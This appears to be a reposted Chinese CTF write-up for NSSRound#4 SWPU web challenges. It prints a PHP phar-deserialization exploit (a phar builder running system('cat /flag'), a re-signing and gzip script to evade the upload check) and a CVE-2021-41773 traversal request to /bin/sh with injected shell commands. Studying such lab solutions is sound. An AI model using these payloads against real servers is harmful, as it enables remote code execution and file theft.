NSSRound#4 Team

[NSSRound#4 SWPU]1zweb

考察:phar的反序列化

1.打开环境,审计代码

1.非预期解

直接用file伪协议读取flag,或直接读取flag

file:///flag
/flag

2.正常解法

用读取文件读取index.php,upload.php的源码 

index.php:

<?php
class LoveNss{public $ljt;public $dky;public $cmd;public function __construct(){$this->ljt="ljt";$this->dky="dky";phpinfo();}public function __destruct(){if($this->ljt==="Misc"&&$this->dky==="Re")eval($this->cmd);}public function __wakeup(){$this->ljt="Re";$this->dky="Misc";}
}
$file=$_POST['file'];
if(isset($_POST['file'])){echo file_get_contents($file);
}

upload.php

<?php
if ($_FILES["file"]["error"] > 0){echo "上传异常";
}
else{$allowedExts = array("gif", "jpeg", "jpg", "png");$temp = explode(".", $_FILES["file"]["name"]);$extension = end($temp);if (($_FILES["file"]["size"] && in_array($extension, $allowedExts))){$content=file_get_contents($_FILES["file"]["tmp_name"]);$pos = strpos($content, "__HALT_COMPILER();");if(gettype($pos)==="integer"){echo "ltj一眼就发现了phar";}else{if (file_exists("./upload/" . $_FILES["file"]["name"])){echo $_FILES["file"]["name"] . " 文件已经存在";}else{$myfile = fopen("./upload/".$_FILES["file"]["name"], "w");fwrite($myfile, $content);fclose($myfile);echo "上传成功 ./upload/".$_FILES["file"]["name"];}}}else{echo "dky不喜欢这个文件 .".$extension;}
}
?>

ndex.php中只需要绕过_wakeup魔术方法就行了,可以考虑增加自然属性个数或增加属性个数来绕过,因为upload.php会检查stub,所以压缩文件成zip(注意要用winhex改变属性个数,不然签名会改变),用phar://伪协议来读取文件

phar压缩:

<?php
ini_set("phar.readonly","Off"); 
class LoveNss{public $ljt;public $dky;public $cmd;public function __construct(){$this->ljt="Misc";$this->dky="Re";$this->cmd="system('cat /flag');";}
}
$a = new LoveNss();$phar = new Phar('aa.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >');$phar->setMetadata($a);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();?>
#注意要手动将php.ini中的phar.readonly改成Off

提交发现文件没有运行,所以考虑可能是压缩文件格式的问题。

用linux命令gzip压缩成gz

cd 工作目录
gzip aa.phar

得到aa.phar.gz,改文件名为1.jpg上交,用phar读取发现签名损坏,所以要进行签名修复,phar由data,data签名(20位),和签名格式(8位)组成

修复脚本:

from hashlib import sha1import gzipfile = open(r'C:\networkSafe\phpstudy_pro\WWW\aa.phar', 'rb').read()data = file[:-28]  # 获取需要签名的数据
# data = data.replace(b'3:{', b'4:{') #更换属性值,绕过__wakeupfinal = file[-8:]  # 获取最后8位GBMB标识和签名类型newfile = data + sha1(data).digest() + final  # 数据 + 签名 + 类型 + GBMBopen(r'C:\networkSafe\phpstudy_pro\WWW\new.phar', 'wb').write(newfile)  # 写入到新的phar文件newf = gzip.compress(newfile)
with open(r'C:\networkSafe\phpstudy_pro\WWW\2.jpg', 'wb') as file: #更改文件后缀file.write(newf)

最后上交修改后的2.jpg得到flag 

[NSSRound#4 SWPU]ez_rce

考察:CVE-2021-41773目录穿越漏洞

Apache 披露了一个在 Apache HTTP Server 2.4.49 上引入的漏洞,称为 CVE-2021-41773。同时发布了2.4.50更新,修复了这个漏洞。该漏洞允许攻击者绕过路径遍历保护,使用编码并读取网络服务器文件系统上的任意文件。

brup构造如下数据包, 

POST /cgi-bin/test-cgi/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh

重点在/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh%2e.的url编码,所以这一段其实就是/cgi-bin/../../../../bin/sh

echo;xxx则是命令执行 

 获取flag信息

跟进/flag_is_here发现还有文件夹

这里我们用grep来进行过滤来读flag

echo;grep -r "NSS" /flag_is_here

[NSSRound#4 SWPU]1zweb(revenge)

考察:php代码审计,文件读取漏洞,文件上传绕过,phar协议反序列化漏洞

首先有一个查询文件的功能和一个文件读取的功能,一开始以为是文件上传的漏洞,后面发现不行,应该是网站在后端限制了文件上传的后缀,观察到这里有个文件查询的功能应该是文件读取,试一下直接读flag

读取flag失败,那我们就先读取一下源码index.php

<?php
class LoveNss{public $ljt;public $dky;public $cmd;public function __construct(){$this->ljt="ljt";$this->dky="dky";phpinfo();}public function __destruct(){if($this->ljt==="Misc"&&$this->dky==="Re")eval($this->cmd);}public function __wakeup(){$this->ljt="Re";$this->dky="Misc";}
}
$file=$_POST['file'];
if(isset($_POST['file'])){if (preg_match("/flag/", $file)) {die("nonono");}echo file_get_contents($file);
}

发现跟之前题目有点相像

因此猜想这里应该是利用了phar协议的反序列化来拿flag

Phar反序列化
Phar之所以能反序列化,是因为Phar文件会以序列化的形式存储用户自定义的meta-data,PHP使用phar_parse_metadata在解析meta数据时,会调用php_var_unserialize进行反序列化操作

再看看upload.php文件

<?php
if ($_FILES["file"]["error"] > 0){echo "上传异常";
}
else{$allowedExts = array("gif", "jpeg", "jpg", "png");$temp = explode(".", $_FILES["file"]["name"]);$extension = end($temp);if (($_FILES["file"]["size"] && in_array($extension, $allowedExts))){$content=file_get_contents($_FILES["file"]["tmp_name"]);$pos = strpos($content, "__HALT_COMPILER();");if(gettype($pos)==="integer"){echo "ltj一眼就发现了phar";}else{if (file_exists("./upload/" . $_FILES["file"]["name"])){echo $_FILES["file"]["name"] . " 文件已经存在";}else{$myfile = fopen("./upload/".$_FILES["file"]["name"], "w");fwrite($myfile, $content);fclose($myfile);echo "上传成功 ./upload/".$_FILES["file"]["name"];}}}else{echo "dky不喜欢这个文件 .".$extension;}
}
?>

可以看到首先是对文件后缀的限制,然后是对phar文件里的_HALT_COMPILER();进行匹配,这个函数是phar文件的标志性函数,这种限制手法是有漏洞的,可以绕过的,我们可以将phar文件用linux的gzip进行压缩来加密它,以此来绕过此检测,在上面的魔术方法的图里看到了wakeup函数,在php低版本里,可以通过修改属性个数大于实际属性个数,来绕过wakeup函数,但是因为phar文件生成时是自动进行序列化的,所以我们我们需要修改文件,phar文件生成时会进行签名,来防止被修改,所以修改文件后我们需要对phar文件重新签名,phar文件有几种不同的加密签名选择,默认签名方法应该是要看生成phar文件的php版本

构造恶意phar文件

<?php
class LoveNss{public $ljt="Misc";public $dky="Re";public $cmd="system('ls /');";
}$a = new LoveNss();$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //自定义的meta-data
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算,默认是SHA1
$phar->stopBuffering();

生成phar文件,要绕过__wakeup方法,手动修改反序列化的数量

这里修改了反序列的数量后,绕过了__wakeup()方法,但是修改之后,签名确保完整性就不对了,所以还要重新进行签名,默认是SHA-1算法,那么就用SHA-1算法吧

from hashlib import sha1file = open('phar.phar', 'rb').read()data = file[:-28]#要签名的部分是文件头到metadata的数据。final = file[-8:]newfile = data+sha1(data).digest()+finalopen('newpoc.phar', 'wb').write(newfile)

 

生成了phar文件后,进行压缩看看是否能使__HALT_COMPILER()消失

确实不存在了,那么将zip文件修改了合适的后缀,上传应该就可以了吧,直接上传,使用phar://伪协议应该就可以了吧 

但是呢Phar伪协议确实执行了解压,但是eval()函数似乎没有执行的命令内容呢,不符合预期的解,再重新试了几遍,发现结果都一样。想了一想,签名生成应该不会有问题,Phar能够进行解压缩,说明重新签名应该也不会有问题,有没有可能是zip压缩的问题,换一种压缩试试,换成gzip

继续进行同样的上传和phar://伪协议操作

这里显示要用SHA256加密进行签名,返回去将SHA1修改为SHA256,再进行gzip后,再进行相同的操作

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/51827.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

3. Docker的数据管理与持久化

在Docker容器化应用中&#xff0c;数据的持久化和管理是一个关键问题。容器的生命周期短暂&#xff0c;容器的停止和删除会导致数据丢失。因此&#xff0c;了解Docker的数据卷&#xff08;Volumes&#xff09;和挂载&#xff08;Mounts&#xff09;的管理方式&#xff0c;对保障…

环境搭建-Docker搭建ClickHouse

Docker搭建ClickHouse 一、前言二、ClickHouse安装2.1 拉取镜像运行ClickHouse服务 三、测试安装3.1 进入clickhouse容器3.2 命令补充说明 四、测试连接五、设置CK的用户名密码 一、前言 本文使用的Docker使用Windows搭建&#xff0c;Linux版本的搭建方式一样。 Windows系统搭…

Data Race: 并发编程中的数据竞争问题

Data Race: 并发编程中的数据竞争问题 &#x1f50d; &#x1f680; Data Race: 并发编程中的数据竞争问题 &#x1f50d;摘要引言正文内容一、什么是数据竞争&#xff1f; &#x1f914;1.1 数据竞争的定义1.2 数据竞争的特征 二、数据竞争的原因和影响 &#x1f6a8;2.1 原因…

Redis学习笔记——第18章 发布与订阅

第18章 发布与订阅 18.1 频道的订阅与退订 订阅关系保存在字典中&#xff0c;Key为频道&#xff0c;value为订阅该频道的客户端链表 18.2 模式的订阅与退订 可以使用通配符&#xff0c;如果订阅了news.*类型的频道&#xff0c;则会将news.*保存为一个Key&#xff0c;value为…

SpringBoot2整合Kafka

引入依赖 <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-web</artifactId> </dependency> <dependency><groupId>org.springframework.kafka</groupId><artifactId>s…

小主机SSD固态硬盘选购攻略,希捷酷鱼 530 SSD固态硬盘表现优秀【附系统无损迁移教程】

小主机SSD固态硬盘选购攻略&#xff0c;希捷酷鱼 530 SSD固态硬盘表现优秀【附系统无损迁移教程】 哈喽小伙伴们好&#xff0c;我是Stark-C~ 这几年随着以零刻为首的小主机市场的兴起&#xff0c;小主机相关的配置周边需求也是越来越大&#xff0c;就比如说SSD固态硬盘就是其…

《Windows API每日一练》22.3 SHE异常

本节我们将讲述单线程到多线程的演进过程&#xff0c;以及进程与线程的区别。 本节必须掌握的知识点&#xff1a; SHE异常 第170练&#xff1a;SEH异常处理程序 第171练&#xff1a;setjmp和longjmp进行异常捕获与处理 22.3.1 SHE异常 在C语言中&#xff0c;Windows平台提供…

定制数据流:在Mojo模型中打造个性化数据预处理

定制数据流&#xff1a;在Mojo模型中打造个性化数据预处理 数据预处理是机器学习工作流程中的关键步骤&#xff0c;它直接影响到模型的性能和训练效率。Mojo模型&#xff0c;作为一个先进的机器学习框架&#xff0c;提供了强大的扩展性来支持自定义数据预处理。本文将深入探讨…

代码随想录算法训练营Day54|| 图论part04

图论部分就先不手写代码了。能理解就很花时间了&#xff0c;先看懂逻辑和代码&#xff0c;关键基础部分写写吧。 卡玛网110字符串接龙&#xff1a;相当于求无向图的最短路径&#xff0c;广搜最合适&#xff0c;因为广搜第一次找到路径一定最短。 广搜就要利用队列&#xff0c;代…

JavaScript while 循环

JavaScript while 循环 JavaScript 中的 while 循环是一种基本的循环控制结构&#xff0c;它重复执行一段代码&#xff0c;直到指定的条件不再满足为止。这种循环结构在处理不确定次数的循环时非常有用&#xff0c;尤其是当循环的次数依赖于某些运行时条件时。 基本语法 whi…

一款免费开源的AI贴纸生成工具

StickerBaker是一款免费开源的AI贴纸生成工具&#xff0c;旨在通过简单的文本输入快速创建个性化贴纸。用户只需在输入框中输入关键词或短语&#xff0c;如“猫”、“击掌”等&#xff0c;AI就会将这些文本转换为相应的图像贴纸。该工具支持批量生成&#xff0c;可以一次性输入…

C语言中的特殊指针

文章目录 &#x1f34a;自我介绍&#x1f34a;野指针&#x1f34a;void *指针&#x1f34a;NULL指针 你的点赞评论就是对博主最大的鼓励 当然喜欢的小伙伴可以&#xff1a;点赞关注评论收藏&#xff08;一键四连&#xff09;哦~ &#x1f34a;自我介绍 Hello,大家好&#xff0c…

苹果iPhone手机将使用QLC NAND闪存技术,存储或将提升

本文首发于公众号“AntDream”&#xff0c;欢迎微信搜索“AntDream”或扫描文章底部二维码关注&#xff0c;和我一起每天进步一点点 苹果公司计划在未来的iPhone产品中使用QLC NAND闪存技术&#xff0c;这一技术将对iPhone的存储性能带来显著提升。以下是一些关键点&#xff1a…

SRv6 和IGP/BGP协议区别

目录 SRv6 和IGP/BGP协议区别 SRv6 IGP/BGP SRv6与IGP/BGP的区别 SRv6 和IGP/BGP协议区别 SRv6(Segment Routing over IPv6)和IGP(Interior Gateway Protocol,内部网关协议)/BGP(Border Gateway Protocol,边界网关协议)在网络架构和功能上存在显著差异。下面分别…

中南民族大学学报人文社会科学版

《中南民族大学学报&#xff08;人文社会科学版&#xff09;》是由国家民委主管、中南民族大学主办的综合性学术理论研究期刊。1960年创刊&#xff0c;全面刊载民族学、人类学、社会学、哲学、政治学、法学、经济学、文学、历史学等各学科优秀科研成果&#xff0c;是展示国内人…

鸿蒙应用框架开发【简单时钟】 UI框架

简单时钟 介绍 本示例通过使用ohos.display接口以及Canvas组件来实现一个简单的时钟应用。 效果预览 使用说明 1.界面通过setInterval实现周期性实时刷新时间&#xff0c;使用Canvas绘制时钟&#xff0c;指针旋转角度通过计算得出。 例如&#xff1a;"2 * Math.PI / …

视频剪辑常用工具

视频剪辑 1. Adobe Premiere Pro (PR)2. Final Cut Pro X (FCPX)3. DaVinci Resolve4. 剪映5. FFmpeg一、安装FFmpeg二、基本剪辑操作1. 裁剪视频2. 合并视频3. 转换视频格式 三、高级剪辑操作1. 添加水印2. 提取音频 四、总结 视频剪辑常用软件及其信息 1. Adobe Premiere Pr…

Postman 工具网站测试工具 (用于发送请求测试处理业务逻辑)

今天在写go web开发的时候&#xff0c;学会了用postman 这个工具很方便的发送了一个post请求&#xff0c;其中body包含 JSON 格式的 web 服务收到请求回复 success 及打印

“微软蓝屏”“隐形炸弹”

“微软蓝屏”事件暴露了网络安全哪些问题&#xff1f; 近日&#xff0c;一次由微软视窗系统软件更新引发的全球性“微软蓝屏”事件&#xff0c;不仅成为科技领域的热点新闻&#xff0c;更是一次对全球IT基础设施韧性与安全性的深刻检验。这次事件&#xff0c;源于美国电脑安全技…